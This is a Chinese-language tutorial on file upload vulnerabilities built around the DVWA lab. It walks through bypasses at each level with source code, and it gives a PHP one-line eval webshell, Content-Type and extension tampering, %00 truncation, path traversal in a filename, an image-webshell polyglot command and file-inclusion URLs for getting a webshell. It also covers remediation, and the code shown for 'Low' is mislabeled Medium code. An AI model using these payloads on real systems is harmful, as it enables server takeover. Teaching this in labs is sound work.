在渗透测试过程中,能够快速获取服务器权限的一个办法。如果开发者对上传的内容过滤的不严,那么就会存在任意文件上传漏洞,就算不能解析,也能挂个黑页,如果被 fghk 利用的话,会造成很不好的影响。如果上传的文件,还能够解析,或者配合文件包含漏洞,那么就能获取到服务器的权限了。
上传的文件对 web 应用程序来说是一个巨大的风险,许多攻击的第一步是上传攻击代码到被攻击的系统上,然后攻击者只需要找到方法来执行代码即可完成攻击。也就是说,文件上传是攻击者需要完成的第一步。
不受限制的文件上载的后果可能不同,包括完全接管系统、文件系统过载、将攻击转发到后端系统以及简单的破坏。这取决于应用程序对上载的文件做了什么,和文件的存储位置。利用文件上传漏洞,在目标系统(例如 phpinfo() 或 system())上执行您选择的任何 PHP 函数。
文件上传漏洞,直面意思可以利用WEB上传一些特定的文件。一般情况下文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。文件上传本身是web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理、解释文件的过程是否安全。一般的情况有:
-1. 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行;
-2. 上传文件FLASH策略文件crossdomain.xml,以此来控制Flash在该域下的行为;
-3. 上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;
-4. 上传文件是钓鱼图片或为包含了脚本的图片,某些浏览器会作为脚本执行,实施钓鱼或欺诈;
漏洞的成因
- 服务器配置不当
- Web应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。
- 在程序开发部署时,没有考虑到系统的特性或组件的漏洞,而导致限制被绕过。
漏洞危害
- 上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等。
- 直接上传后门文件,导致网站沦陷。
- 通过恶意文件,利用其他楼栋拿到管理员权限(提权),导致服务器沦陷。
- 通过文件上传漏洞获得网站后门,叫Webshell
文件上传漏洞的利用条件
- 能够成功上传木马文件
- 上传文件必须能够被执行
- 上传文件的路径必须可知
检测条件:
- 已知Web网站在登录前或者登录后具有上传页面。
- 上传的文件具备可执行性或能够影响服务器行为,所以文件所在的目录必须在WEB容器覆盖的路径之内;
- 用户可以从WEB上访问这个文件,从而使得WEB容器解释执行该文件;
- 上传后的文件必须经过安全检查,不会被格式化、压缩等处理改变其内容
检测方法:
上传方式根据不同的web语言,检测方法也各式各样,以下列举基于JS验证的上传的几种常见的文件上传绕过方法:
- 1.我们直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可。如图:
- 2.直接更改文件上传JS代码中允许上传的文件扩展名你想要上传的文件扩展名,如图所示:
- 3.使用本地提交表单即可,如下图,作相应的更改,如图所示:
- 4.使用burpsuite或者是fiddle等代理工具提交,本地文件先更改为jpg,上传时拦截,再把文件扩展名更改为asp即可,如图所示:
- 5.当然也有不是基于JS验证的上传,例如一些中间件IIS,Nginx,,PHP,FCK编辑器等等的解析漏洞,其上传绕过方式也是多种多样。通过对上传页面进行检查,常见的文件上传检查针对文件类型进行,可以使用手动修改POST包然后添加%00字节用于截断某些函数对文件名的判断。除了修改文件名来绕过类型检查外,还可以修改文件头来伪造文件头,欺骗文件上传检查,如图,修改文件头中的类型来进行绕过:
以上为几种常见的上传,更多的还需自行研究,进行上传绕过。以下为总体的测试流程:
1、 登陆网站,并打开文件上传页面
2、 点击“浏览”按钮,并选择本地的一个JSP文件(比如hacker.jsp),确认上传。
3、 如果客户端脚本限制了上传文件的类型(比如允许gif文件),则把hacker.jsp更名为hacker.gif;配置HTTP Proxy(burp)进行http请求拦截;重新点击“浏览”按钮,并选择hacker.gift,确认上传。
4、 在WebScarab拦截的HTTP请求数据中,将hacker.gif修改为hacker.jsp,再发送请求数据。
5、 登陆后台服务器,用命令find / -name hacker.jsp查看hacker.jsp文件存放的路径。如果可以直接以Web方式访问,则构造访问的URL,并通过浏览器访问hacker.jsp,如果可以正常访问,则已经取得WebShell,测试结束。如果hacker.jsp无法通过web方式访问,例如hacker.jsp存放在/home/tmp/目录下,而/home/tomcat/webapps目录对应http://www.example.com/,则进行下一步
6、 重复1~3,在burp拦截的HTTP请求数据中,将hacker.gif修改为../tomcat/webapps/hacker.jsp,再发送请求数据。
在浏览器地址栏输入http://www.example.com/hacker.jsp,访问该后门程序,取得WebShell,结束检测。
漏洞修复:
针对文件上传漏洞的特点和必须具备的三个条件,我们阻断任何一个条件就可以达到组织文件上传攻击的目的:
- 最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的'x'权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性;
- 文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码;
- 使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件;
- 单独设置文件服务器的域名;
LOW
不会以任何方式检查正在上载的文件的内容,它信任所有上传的文件。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
接受文件,上传到hackable/uploads/,并且还会把路径回显,最简单的文件上传,上传个一句话木马,直接菜刀就能连上。
/basename(path,suffix) 函数返回路径中的文件名部分,如果可选参数 suffix 为空则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file() 函数将上传的文件移动到新位置。若成功则返回 true,否则返回 false。由此可见源码对上传文件直接移动,而文件的类型、内容没有做任何的检查、过滤。
攻击方式
由于没有任何的过滤,因此我们可以直接上传一个一句话木马
<?php @eval($_POST['attack']) ?>
直接上传,网页没有进行过滤,直接返回了上传成功的信息。
打开蚁剑,使用上传的一句话木马进行连接,直接 Webshell。此时可以随意访问服务器上的任意文件,进行任意操作。
Medium
中等级的页面下,将在上传时检查客户端报告的文件类型
<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// File information
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
// Is it an image?
if(($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000)){
// Can we move the file to the upload folder?
if(!move_uploaded_file( $_FILES['uploaded']['tmp_name'], $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else{
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
FILES 是一个已经弃用的 HTTP 文件上传变量,它是一个通过 HTTP POST 方式上传到当前脚本的项目的数组。由此可见源码会获取文件的文件名、文件类型和文件大小,它要求文件类型必须是 jpeg 或者 png,同时限制文件大小不能超过 100000B(约为97.6KB)。
攻击方式
我们还是先做个一句话木马,然后用 brup 抓包,看到上传的 PHP 文件类型会被显示在包中。
修改文件类型为 “image/png”,然后放包。
可以看到虽然我们传的还是一句话木马,但是通过修改 http 报文可以通过网页的白名单检测,再次蚁剑连接即可。
更改文件名后缀
这里采用的是一句话木马,所以文件大小不会有问题,至于文件类型的检查,尝试修改文件名为123.png。
上传成功。
启用中国菜刀。
http://192.168.33.1/dvwa/hackable/uploads/123.png
不幸的是,虽然成功上传了文件,但是并不能成功获取webshell权限,在菜刀上无论进行什么操作都会返回如下信息.
中国菜刀的原理是向上传文件发送包含liu参数的post请求,通过控制liu参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
所以我们可以抓包修改文件名:
可以看到文件类型为image/png,尝试修改filename为123.php。
上传成功。
上菜刀,获取webshell权限。
http://192.168.33.1/dvwa/hackable/uploads/123.php
更改文件content-type
就是上传123.php文件,然后修改content-type为image/png,过程同上类似。
%00截断
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。
可选方法举例如下:
更改文件后缀为123.php.jpg,设置代理并上传。抓包并将php.jpg中的字符“.”(十六进制0x2e)更改为00。
更改文件后缀为123.php.jpg,设置代理并上传。抓包并在php.jpg中的字符“.”(十六进制0x2e)前右键选择insert byte,增加一个0x00字节。
更改文件后缀为123.php%00.jpg,设置代理并上传。抓包并选中%00,右键url-decode。
组合拳(文件包含+文件上传)
上传123.png
如何让服务器将其解析为php文件呢?我们想到文件包含漏洞(详见文件包含漏洞教程)。
这里可以借助Medium级别的文件包含漏洞来获取webshell权限,打开中国菜刀,右键添加,在地址栏中输入
http://192.168.33.1/dvwa/vulnerabilities/fi/?page=?page=htthttp://p://192.168.33.2/dvwa/hackable/uploads/123.png
点击添加,输入参数liu
成功获取webshell权限。
High
当服务器从客户端接收到文件,它将尝试调整请求中包含的任何图像的大小。
<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// File information
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr( $uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
// Is it an image?
if((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png")
&&($uploaded_size < 100000) && getimagesize( $uploaded_tmp)){
// Can we move the file to the upload folder?
if(!move_uploaded_file($uploaded_tmp, $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else{
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,如果没有找到字符串则返回 false,可选参数 start 规定在何处开始搜索。
getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头则报错。源码通过字符串匹配来确定文件后缀名,并且查看文件的相关参数,提高了过滤的强度。
攻击方式
由于源码会去检查文件头,现在我们不能再传 php 文件了,应该把一句话木马包在一张图片里面。
首先我们要准备一张图片和一句话木马,然后使用 copy 命令把两个文件合成为一个文件。
copy 1.jpg/b + 1.php/a 2.jpg
然后直接上传,网页提示上传成功。但是此时是不能用蚁剑连接的,因为蚁剑的原理是向上传文件发送包含参数的 post 请求,通过控制参数来执行不同的命令。这里服务器将木马文件解析成了图片文件,因此向其发送 post 请求时,服务器并不会执行相应命令。
因此我们要把这张图片当做 php 来执行才行,这时我们想到了 File Inclusion(文件包含) 漏洞,构造 payload。
http://localhost/dvwa-master/vulnerabilities/fi/?page=file:///D:\DVWA-master\hackable\uploads\2.jpg
访问下看看,可以看到这个 url 使得一句话木马被解析,也就是说这个时候就可以使用蚁剑连接。
漏洞利用:
采用%00截断的方法可以轻松绕过文件名的检查,但是需要将上传文件的文件头伪装成图片由于实验环境的php版本原因,这里只演示如何借助High级别的文件包含漏洞来完成攻击。
首先利用copy将一句话木马文件123.php与图片文件1.jpg合并成hack.jpg
生成的文件hack.jpg
打开可以看到,一句话木马藏到了最后。
顺利通过文件头检查,可以成功上传。
上菜刀,右键添加shell,地址栏填入
http://192.168.33.1/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/WWW/dvwa/hackable/uploads/hack.jpg
在菜刀之前先用浏览器访问该地址进行解析,不解析php代码将不会被执行(注意!!!)
参数名填liu,
脚本语言选择php。
成功拿到webshell。
Impossible
源码将检查所有级别的所有内容。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible 级别的代码对上传文件进行了重命名,并加入 Anti-CSRF token 防护 CSRF 攻击,同时使用上诉所有机制对文件的内容,导致攻击者无法上传木马文件。